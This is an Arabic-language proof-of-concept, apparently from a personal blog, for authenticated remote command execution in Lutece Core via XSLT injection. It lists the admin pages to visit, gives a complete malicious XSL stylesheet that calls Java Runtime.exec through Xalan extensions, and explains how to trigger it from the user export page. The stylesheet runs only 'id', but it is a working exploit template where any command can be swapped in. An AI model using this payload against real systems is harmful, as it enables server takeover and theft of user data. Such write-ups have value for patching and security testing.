
إثبات مفهوم لاستغلال تنفيذ الأوامر عن بُعد عبر المصادقة من خلال حقن XSLT في Lutece Core، مع توضيح تنفيذ الأوامر عبر أوراق أنماط XSL مصمّمة خصيصًا.
الشروحات والمزيد على موقعي <
تحتاج إلى حساب بصلاحيات المسؤول.
في لوحة الإدارة، انتقل إلى صفحة إدارة تصدير XSL:
/jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport
انقر على "إضافة ورقة تحويل جديدة".
ارفع ملف .xsl يحتوي على الحمولة (أمر id بسيط):
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
<xsl:template match="/">
<xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
<xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
<xsl:variable name="reader" select="is:new($inputStream)"/>
<xsl:variable name="buffereReader" select="br:new($reader)"/>
<xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
<Output>
<xsl:value-of select="$resultat"/>
</Output>
</xsl:template>
</xsl:stylesheet>
احفظ ورقة XSL الجديدة.
انتقل إلى صفحة تصدير المستخدمين:
/jsp/admin/user/ExportUsers.jsp
حدد ورقة التحويل التي أنشأناها للتو ثم قم بالتأكيد.
يجب أن تظهر نتيجة أمر id في الملف المُصدَّر.